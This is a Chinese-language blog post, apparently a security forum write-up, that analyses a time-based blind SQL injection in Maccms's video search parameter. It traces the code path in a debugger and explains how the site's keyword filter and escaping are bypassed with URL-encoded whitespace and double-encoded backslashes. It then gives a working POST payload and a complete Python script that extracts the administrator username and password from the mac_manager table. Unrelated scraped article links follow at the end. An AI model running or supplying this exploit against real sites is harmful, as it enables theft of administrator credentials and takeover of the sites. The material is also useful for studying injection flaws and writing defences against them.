动态调试|Maccms SQL 注入分析(附注入盲注脚本)
0x01 前言
已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文。
0x02 环境
Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: JetBrains PhpStorm 2018.1.6 x64、Seay代码审计工具
搭建这个程序也挺简单的,也是一步到位。
0x03 漏洞复现
- 首先在程序的后台添加一条数据

- 执行我们的payload,可以看到网站跳转延迟了3s以上。
url:http://sb.com/index.php?m=vod-search
post:wd=))||if((select%0bascii(length((select(m_name)\`\`from(mac_manager))))=53),(\`sleep\`(3)),0)#%25%35%63

- 因为是盲注所以注入出管理员的账号密码在下文分析。
0x04 SQL执行过程分析
- 先弄清楚sql是如何执行的一个过程,然后再去分析怎么会造成SQL注入的一个过程,这样对学习代码审计也是一个好处。
因为是动态分析,不会的安装调试环境的请到这篇文章按步骤完成安装https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/ - phpstorm打开这个选项,意思就是断在当前脚本文件的第一行,我就不下断点了,跟着它执行的过程走一遍。

- 我们先随便输入一点数据

访问后会断在index.php的第一行
- F8往下走,走到第14行F7跟进去。

然后F8一直往下走,可以看到拦截的规则
走到POST的过滤这里F7进去
arr_foreach函数检查传过来的值是否是数组,不是数组就返回原数据,然后用urldecode函数URL解码。
最后分别对传过来的wd和test两个值进行匹配,如果存在拦截规则里面的字符就跳转到错误信息。
比如你输入wd=/**/就会被拦截
因为/**/存在拦截的正则表达式里面。
- 走出来会到
$m = be('get','m');这里,这里只是对m传过来的vod-search进行addslashes函数的过滤
- 我怕文章过长,一些不必要的代码自己去细读一遍就行了,F8一直往下周,走到37行F7进去,因为我们传过来的的参数是
vod,所以会包含vod.php文件并执行。
- 因为我们传参是
search所以会走到这里,我们可以F7进去看执行的过程。
在这里会经过urldecode函数的解码,一直循环到不能解码为止,然后经过刚才的StopAttack方法的过滤
最后到htmlEncode方法的替换
- 跳出到
vod.php文件后F8走到这里,F7进去看SQL执行的过程。
一直走到markname的值是vod
然后不用管F8继续往下走,走到这里再F7进去
可以看到SQL执行是到这里,下面是执行的语句SELECT count(*) FROM {pre}vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND ( instr(d_name,'test')>0 or instr(d_subname,'test')>0 or instr(d_starring,'test')>0 )
0x05 漏洞分析
上面分析了SQL执行过程,下面分析这个是如何构成SQL注入的。
- 刚才这里跳过了,文件位置:
inc/common/template.php,可以看到传过来的P["wd"]值赋值给了$lp['wd']。
- 再往下看753~755行,可以看到我们的值是放在这里面,然后送去
GetOne执行的。if (!empty($lp['wd'])){
$where .= ' AND ( instr(d_name,\''.$lp['wd'].'\')>0 or instr(d_subname,\''.$lp['wd'].'\')>0 or instr(d_starring,\''.$lp['wd'].'\')>0 ) ';
} - 构造的语句,只有中间才是执行的语句,前一句是为了闭合单引号,后面是注释。如果这里不清楚的可以用MySQL监控的软件去一步一步弄清楚。
SELECT count(*) FROM mac_vod WHERE 1=1 AND d_hide=0 AND d_type>0 and d_type not in(0) and d_usergroup in(0) AND
( instr(d_name,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)#\')>0 or instr(d_subname,'))
||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(3)),0)
#\')>0 or instr(d_starring,'))||if((select ascii(length((select(m_name) from(mac_manager))))=53),(`sleep`(5)),0)#\')>0 )
- 但是如果直接放语句上去会被检测到危险字符

它主要对我们这里的空格连接处匹配到了
那么我们可以用别名as ‘ ‘去代替,也可以省略as直接用 ‘ ‘,别名的用法在文章尾部的参考有给出。 - 我们再执行,用Seay的代码审计工具的Mysql监控软件查看,我们的空格和后面的
\被转义了。
还记得我们chkSql方法吗?先是执行urldecode解码,然后StopAttack匹配,最后htmlEncode编码,最后Be方法那里 还有一个addslashes函数过滤,所以会导致后面的\转义成\\。htmlEncode又会对前面的空格转义成。function chkSql($s)
{
global $getfilter;
if(empty($s)){
return "";
}
$d=$s;
while(true){
$s = urldecode($d);
if($s==$d){
break;
}
$d = $s;
}
StopAttack(1,$s,$getfilter);
return htmlEncode($s);
}
- 这里我们可以利用URL编码绕过
htmlEncode,具体可以看HTML URL编码表%0c%0b等都可以,后面的\可以用URL编码绕过%5c或者双编码%25%35%63
- 那么我们构造成的payload就是下面的,功能是查询管理员账号字段的长度
wd=))||if((select%0cascii(length((select(m_name)from(mac_manager))))=53),(sleep(3)),0)#%5c``
0x06 编写盲注脚本
当然盲注一般都不会手动去,SQLMAP有时候遇到特殊的也是要自己编写注入的脚本,具体代码的意思我就不解读了,自己可以结合Python和MySQL的知识理解。
#! /usr/bin/python
# -*- coding:utf-8 -*-
#author:F0rmat
import requests
import time
dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?"
UserName=''
UserPass=''
UserName_length=0
url='http://sb.com/'
url = url + r'/index.php?m=vod-search'
def main():
global UserName
global url
for i in range(30):
startTime = time.time()
sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format(
ord(str(i)))
data = {'wd': sql}
response = requests.post(url, data=data) # 发送请求
if time.time() - startTime > 3:
UserName_length = i
print UserName_length
break
for num in range(1, UserName_length + 1):
for i in dict: # 遍历取出字符
startTime = time.time()
sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
str(num), ord(i))
data = {'wd': sql}
response = requests.post(url, data=data) # 发送请求
print data
if time.time() - startTime > 3:
UserName += i
break
global UserPass
for num in range(32):
for i in dict: # 遍历取出字符
startTime = time.time()
sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
str(num), ord(i))
data = {'wd': sql}
response = requests.post(url, data=data) # 发送请求
print data
if time.time() - startTime > 3:
UserPass += i
break
print 'username:'+UserName,'password:'+UserPass
if __name__ == '__main__':
main()
0x07 总结
有时候学习代码审计,不能因为部分的代码没能读懂就不去理会,其实你读的代码越多,做代码审计也越轻松。
0x08 参考
程序下载:https://www.lanzous.com/i1qm24f
http://www.freebuf.com/column/161528.html
http://www.mysqltutorial.org/mysql-alias/
http://www.w3school.com.cn/tags/html_ref_urlencode.html
https://github.com/F0r3at/Python-Tools/blob/master/maccms_sql.py
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
动态调试|Maccms SQL 注入分析(附注入盲注脚本)的更多相关文章
- 动态分析小示例| 08CMS SQL 注入分析
i春秋作家:yanzm 0×00 背景 本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不 ...
- 技能提升丨Seacms 8.7版本SQL注入分析
有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解.其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注 ...
- Android Hook框架adbi的分析(1)---注入工具hijack
本文博客地址:http://blog.csdn.net/qq1084283172/article/details/74055505 一.Android Hook框架adbi的基本介绍 adbi是And ...
- Java EE中的容器和注入分析,历史与未来
Java EE中的容器和注入分析,历史与未来 java中的容器 java中的注入 容器和注入的历史和展望 一.java中的容器 java EE中的注入,使我们定义的对象能够获取对资源和其他依赖项的引用 ...
- 帝国CMS(EmpireCMS) v7.5 代码注入分析(CVE-2018-19462)
帝国CMS(EmpireCMS) v7.5 代码注入分析(CVE-2018-19462) 一.漏洞描述 EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞.该漏 ...
- Go语言SQL注入和防注入
Go语言SQL注入和防注入 一.SQL注入是什么 SQL注入是一种注入攻击手段,通过执行恶意SQL语句,进而将任意SQL代码插入数据库查询,从而使攻击者完全控制Web应用程序后台的数据库服务器.攻击者 ...
- sql server(mssql)联合注入
sql server(mssql)联合注入 sql server简介: SQL Server 是Microsoft 公司推出的关系型数据库管理系统.具有使用方便可伸缩性好与相关软件集成程度高等优点,可 ...
- Mybatis解析动态sql原理分析
前言 废话不多说,直接进入文章. 我们在使用mybatis的时候,会在xml中编写sql语句. 比如这段动态sql代码: <update id="update" parame ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
随机推荐
- JavaSE基础知识(5)—面向对象(5.4面向对象三大特征:封装、继承、多态)
面向对象编程具有三大特征: 封装 继承 多态 一.封装 1.好处 狭义的封装:也就是属性的封装,避免了任意赋值的危险,提高了数据的安全性! ①隐藏一个类中不需要对外提供的实现细节 ②使用者只能通过实现 ...
- asp.net asp.net application 升级到 asp.net web 解决找不到控件 批量生成.designer文件
颇费周折后,其实很简单,只需要生成designer文件后,重新保存所有页面即可.就是懒得写.懒真的是一种病,手上不能懒,脑子里更不能懒,否则就是给自己挖坑,仔细认真,注意细节!!!! PS:注意修改p ...
- ionic3自定义android原生插件
一.创建一个android项目,编写插件功能,并测试ok,这里以一个简单的调用原生Toast.makeText为例. 1.新建android项目 2.编写插件类 package com.plugin. ...
- Python unittest使用小结
unittest是Python自带的单元测试框架,其中最核心的四个概念是:test case, test suite, test runner, test fixture. 流程:TestLoader ...
- windows2012 raid架构 忘记系统管理员密码的解决方法
1. http://bbs.51cto.com/thread-939710-1.html 2. https://wenku.baidu.com/view/115783cd0b4e767f5acfcef ...
- Unity - Photon PUN 本地与网络同步的逻辑分离 (二)
上篇实现了事件系统的设计,这篇就来结合发送RPC消息 并且不用标记 [PunRPC] 先来看下上编的代码 GameEnvent.cs private static Dictionary<Comm ...
- bower简明入门教程
什么是bower: Bower是一个客户端技术的软件包管理器,它可用于搜索.安装和卸载如JavaScript.HTML.CSS之类的网络资源.其他一些建立在Bower基础之上的开发工具,如YeoMan ...
- canvas简易画板。
在学canvas的时候,想到可以做一个自己用来画画的简易画板,加上canvas的基础都已经学完,便尝试做了一个画板.如图 1.获取标签. var c=document.getElementById(' ...
- wzyxidian Scanner 与 Readable 的read()方法
Readable接口中的read()方法实现了将字符串读入charBuffer中,但是只有在需要输出的时候才会调用. Scanner是文本扫描器类,利用Scanner扫描并输出charBuffer中的 ...
- 开发快平台(M302I小e开发板系列教程)
开发快平台(M302I小e开发板系列教程) 开发块平台ESP8266模块相关理解 一. M302I小e开发板源码注释,源码基于:v1.4.0.8-u34.zip 1. user_main.c /*** ...